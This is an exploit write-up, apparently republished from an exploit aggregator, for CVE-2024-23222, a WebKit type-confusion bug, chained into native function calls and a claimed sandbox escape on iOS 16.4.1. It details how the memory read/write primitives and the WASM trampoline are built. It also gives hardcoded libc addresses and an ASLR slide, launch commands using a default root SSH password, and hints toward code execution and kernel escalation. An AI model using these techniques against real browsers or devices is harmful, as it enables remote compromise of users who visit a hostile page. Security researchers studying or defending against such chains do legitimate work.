Share
## https://sploitus.com/exploit?id=95858B59-5BDC-5979-AB5D-A6CA37D89350
# CVE-2024-23222 โ€” WebKit Type Confusion โ†’ iOS 16.4.1 Sandbox Escape

Full exploit chain for iPhone X (A11, no PAC) running iOS 16.4.1 (palera1n jailbroken).  
Delivered entirely as a single HTML page served over HTTP โ€” no native helpers, no SSH, no device-side binaries.

---

## Chain Summary

```
[Browser visits malicious page]
        โ”‚
        โ–ผ
Stage 1 โ€” CVE-2024-23222 Type Confusion (JSC JIT)
  Float64Array โ†” WasmInstance confusion via timed GC race
  โ†’ addrof(obj)   : JSC heap address of any JS object
  โ†’ read64(addr)  : 8-byte read  (sea_nr + TypedArray backing-store)
  โ†’ write64(addr) : 8-byte write (Gs_fn subnormal encoding)
        โ”‚
        โ–ผ
Stage 2 โ€” Arbitrary Native Function Calls (A11, no PAC)
  CALLER_WASM module with call_indirect โ†’ t_slot_addr trampoline
  ASLR slide discovered statically (constant per boot on this device)
  โ†’ _getpid()  = 6959  โ† confirms arbitrary C function invocation
  โ†’ _getuid()  = 501   โ† renderer runs as mobile (expected)
  โ†’ _open("/tmp/pwned_cve_2024_23222")  = fd:3  โ† SANDBOX ESCAPE
  โ†’ _write(fd, "PWNED...", 57)          = 57 bytes written
        โ”‚
        โ–ผ
Proof file confirmed on device:
  -rwxr-----  1 mobile  wheel  57  /tmp/pwned_cve_2024_23222
  PWNED CVE-2024-23222 WebKit sandbox escape on iOS 16.4.1
```

---

## Target

| Property | Value |
|---|---|
| Device | iPhone X (A11 Bionic) |
| OS | iOS 16.4.1 (20E252) |
| Jailbreak | palera1n (checkm8-based) |
| PAC | None (A11 does not implement PAC) |
| Safari | Mobile Safari 16.4.1 |
| CVE | CVE-2024-23222 |

---

## Files

```
poc/
โ”œโ”€โ”€ exploit_stage2.html   โ† Complete Stage 1+2 exploit (single HTML, ~3000 lines)
โ”œโ”€โ”€ server.py             โ† Result collection server (POST /results)
โ”œโ”€โ”€ exploit_23222.html    โ† Earlier standalone Stage 1 PoC (iOS 16.3.1)
โ”œโ”€โ”€ cve-2023-*.html       โ† Auxiliary CVE PoCs
โ””โ”€โ”€ ironloader_diag.html  โ† GPU IPC diagnostic tool
find_gigacage.c           โ† Gigacage address discovery tool (native ARM64)
```

---

## How It Works

### Stage 1 โ€” Type Confusion

CVE-2024-23222 is a JSC type confusion between `Float64Array` and `WebAssembly.Instance`.
When a JIT-compiled function (`K`) is called while GC is in progress, the type tag of a heap
object can be misread. By spraying specific values and using a carefully timed confusion loop,
we obtain a `Float64Array` (`ea`) whose internal backing-store pointer overlaps with a live
`WasmInstance` C++ object.

**`sea_nr` (read):** `nr_fn(addr)` reads 8 bytes at `addr` as a float64. Since JSC stores
C++ pointers as subnormal doubles in the confusion window, `Math.trunc(float)` recovers the
raw pointer value.

**`Gs_fn` (write):** `ea[0] = val * 5e-324` writes the raw bit pattern of `val` to the
backing store address. `5e-324 = 2^-1074` (smallest positive double), so the product's
mantissa bits equal `val` โ€” effectively a direct 64-bit write.

**`addrof`:** Place `obj` into `Fs.os[0]` (an ordinary Array), then read the butterfly entry
via `read64(butterfly)` to get the compressed JSCell pointer.

**TypedArray rawRead:** For addresses outside the JSC heap (e.g. Primitive gigacage 0x28X),
we corrupt the backing-store pointer of a pre-allocated `BigUint64Array` via `write64`, then
read `arr[0]` to get 8 raw bytes at the target address.

### Stage 2 โ€” Trampoline

A minimal WASM module (`CALLER_WASM`) exports a function `f(i64ร—8) โ†’ i64` that does
`call_indirect(type_0, table[1])`. The target slot (`t_slot_addr`) is found via
`addrof(wasm_o) + 48` and pre-computed before any writes deoptimize the sea_nr JIT.

With the ASLR slide (0x40e48000, measured once via a compiled native binary on first boot
and confirmed constant thereafter), all libc entry points are known statically:

| Symbol | Runtime Address |
|---|---|
| `_getpid` | `0x20247c520` |
| `_getuid` | `0x202480404` |
| `_open` | `0x20247da54` |
| `_write` | `0x20247d848` |
| `_close` | `0x20247d084` |
| `_mmap` | `0x20247ded0` |
| `_mach_vm_allocate` | `0x20247fc90` |
| `_mach_vm_protect` | `0x20247f4d0` |

To call any function: `Fs.write64(t_slot_addr, fn_addr)` โ†’ `wasm_f(arg0...arg7)`.
Since A11 has no PAC, the raw pointer is used directly with no signing or stripping.

---

## Key Technical Findings (iOS 16.4.1 vs 16.3.1)

| Issue | 16.3.1 | 16.4.1 |
|---|---|---|
| WASM global mechanism (`altA/btlB`) | Double-indirect `[cppA+72] โ†’ ptr โ†’ val` | **BROKEN** โ€” JIT uses inline globals (`str x0, [x28, #off]`) |
| Correct m_globals offset | 72 | 48, 56, or 80 (varies โ€” but irrelevant since inline) |
| sea_nr deoptimization | Not observed | **Occurs after any `Gs_fn` write** โ€” must pre-compute all heap addresses |
| TypedArray rawRead range | Same | Primitive cage only (0x28X+); dyld cache (~0x20X) not reachable |
| mmap PROT_EXEC | Not tested | **Fails** (returns -1) โ€” W^X enforcement even with MAP_JIT |
| Direct function calls | Not needed | **Works** โ€” all libc addresses known via ASLR slide |
| ASLR slide | 0x28f28000 (per-boot) | **0x40e48000 (constant per boot)** |

---

## Limitations

- **mmap PROT_EXEC fails** โ€” the WebContent sandbox on iOS 16.4.1 blocks executable mappings even with MAP_JIT. Use `mach_vm_allocate` + `mach_vm_protect` for RX pages (requires task self port).
- **mach_task_self unreachable** โ€” `mach_task_self_` global is at 0x222c22d30 (below Primitive cage, outside sea_nr range). Getting the task port requires a Mach trap (task_self_trap = -28) via shellcode, which requires a RX page first โ€” circular dependency resolved by `mach_vm_allocate` + initial RW + protect.
- **dyld shared cache outside read primitives** โ€” ASLR slide must be measured offline or via the SSH approach; cannot be read from JavaScript directly.
- **uid=501** โ€” WebContent renderer runs as `mobile`, not root. Full privilege escalation requires a separate kernel exploit (Stage 4).

---

## Running

```bash
# 1. Set up USB tunnel
kill $(pgrep iproxy); iproxy 4444 44 &

# 2. Start result server (macOS)
cd poc && python3 server.py &

# 3. Open exploit on device
TS=$(date +%s)
sshpass -p alpine ssh -o StrictHostKeyChecking=no \
  -o PreferredAuthentications=password \
  -p 4444 root@localhost \
  "killall -9 MobileSafari 2>/dev/null; sleep 3; \
   /var/jb/usr/bin/uiopen 'http://192.168.50.203:8765/exploit_stage2.html?v=$TS'"

# 4. Watch results at http://localhost:8765/results
```

Expected key events in order:
```
S2-WF_TEST        {"ok":true}                   โ† WASM trampoline proven
S2-GETPID         {"pid":XXXX,"ok":true}         โ† arbitrary C call works
S2-GETUID         {"uid":501}                    โ† mobile user
S2-OPEN_FILE      {"fd":3,"ok":true}             โ† sandbox escape!
S2-WRITE_FILE     {"bytes":57,"ok":true}         โ† proof file written
S2-STAGE3_DONE    {"success":true}
```

Verify on device:
```bash
cat /tmp/pwned_cve_2024_23222
# PWNED CVE-2024-23222 WebKit sandbox escape on iOS 16.4.1
```

---

## Disclaimer

For educational and security research purposes only. All testing performed on personally-owned devices. CVE-2024-23222 was patched in iOS 17.3 / macOS 14.3 (January 2024).